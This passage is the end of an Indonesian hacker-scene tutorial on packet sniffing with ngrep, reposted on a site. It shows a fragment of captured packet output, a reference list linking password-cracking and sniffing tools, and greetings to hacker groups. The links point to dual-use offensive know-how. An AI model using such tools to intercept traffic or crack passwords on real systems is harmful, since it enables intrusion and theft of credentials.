00 10 00 00 01 00 00 00 e8 40 00 00 .........@............
exit
2 received, 0 dropped
[..........................] #

4. Untuk mengetahui lebih banyak tentang kombinasi perintah ngrep anda bisa :

# man ngrep


C. Referensi
*******************************************************************

David Dittrich
http://staff.washington.edu/dittrich/

Password cracking utilities:
http://packetstorm.security.com/Crackers/

hunt:
http://www.cri.cz/kra/index.html

tcpdump & Libpcap
http://www.tcpdump.org/release.

ngrep:
http://dag.wieers.com/packages/ngrep/

ngrep:
http://www.packetfactory.net/Projects/ngrep

sniffit:
http://sniffit.rug.ac.be/sniffit/sniffit.html

Lsof:
ftp://vic.cc.purdue.edu/pub/tools/unix/lsof/

Libnet:
http://www.packetfactory.net/libnet/

Cracker:
http://www.crypto.dircon.co.uk

Net::RawIP:
http://quake.skiff.net/RawIP

http://www.phrack.com

http://rpm.pbone.net/index.php3/stat/4/idpl/2048/

http://linux.maruhn.com/sec/libpcap.html

http://www.netcraft.com

http://www.ddosworld.com


D. Greetz
*******************************************************************

S'to, dkk.
http://www.jasakom.com

Y3dips, dkk.
http://www.echo.or.id

Senyumnet Crew:
Tovan, Evan, Zipel, Cahyo, Riko, Wiwid, Abang Afudz, dll.

My Sweety:
Redhat Linux

Temen-temen yang sering nongkrong di jasakom:
"jambi_hacker, jambi_cracker dan jambi_lamer adalah bersaudara", yang
telah banyak menghibur kita semua....tul gak...heheh...semangat
terusss bro...awas loe jangan nakal yaa...
kadal_punk, mu5t_d13, si_cebol, gmt, ansy, PALUARED, , PeNcOpEt_CiNtA,
batamhacker, BinusHack, netmax, BadSectoR, POM_PONK, dll., sorry kalo
ada yang belom kesebut.

*******************************hilman_hands*****************************EOF



































































← previous
next →
loading
sending ...
New to Neperos ? Sign Up for free
download Neperos App from Google Play
install Neperos as PWA

Let's discover also

Recent Articles

Recent Comments

guest's profile picture
@guest
12 Nov 2024
It is very remarkable that the period of Atlantis’s destruction, which occurred due to earthquakes and cataclysms, coincides with what is co ...

guest's profile picture
@guest
12 Nov 2024
Plato learned the legend through his older cousin named Critias, who, in turn, had acquired information about the mythical lost continent fr ...

guest's profile picture
@guest
10 Nov 2024
الاسم : جابر حسين الناصح - السن :٤٢سنه - الموقف من التجنيد : ادي الخدمه - خبره عشرين سنه منهم عشر سنوات في كبرى الشركات بالسعوديه وعشر سنوات ...

lostcivilizations's profile picture
Lost Civilizations (@lostcivilizations)
6 Nov 2024
Thank you! I've corrected the date in the article. However, some websites list January 1980 as the date of death.

guest's profile picture
@guest
5 Nov 2024
Crespi died i april 1982, not january 1980.

guest's profile picture
@guest
4 Nov 2024
In 1955, the explorer Thor Heyerdahl managed to erect a Moai in eighteen days, with the help of twelve natives and using only logs and stone ...

guest's profile picture
@guest
4 Nov 2024
For what unknown reason did our distant ancestors dot much of the surface of the then-known lands with those large stones? Why are such cons ...

guest's profile picture
@guest
4 Nov 2024
The real pyramid mania exploded in 1830. A certain John Taylor, who had never visited them but relied on some measurements made by Colonel H ...

guest's profile picture
@guest
4 Nov 2024
Even with all the modern technologies available to us, structures like the Great Pyramid of Cheops could only be built today with immense di ...

lostcivilizations's profile picture
Lost Civilizations (@lostcivilizations)
2 Nov 2024
In Sardinia, there is a legend known as the Legend of Tirrenide. Thousands of years ago, there was a continent called Tirrenide. It was a l ...
Neperos cookies
This website uses cookies to store your preferences and improve the service. Cookies authorization will allow me and / or my partners to process personal data such as browsing behaviour.

By pressing OK you agree to the Terms of Service and acknowledge the Privacy Policy

By pressing REJECT you will be able to continue to use Neperos (like read articles or write comments) but some important cookies will not be set. This may affect certain features and functions of the platform.
OK
REJECT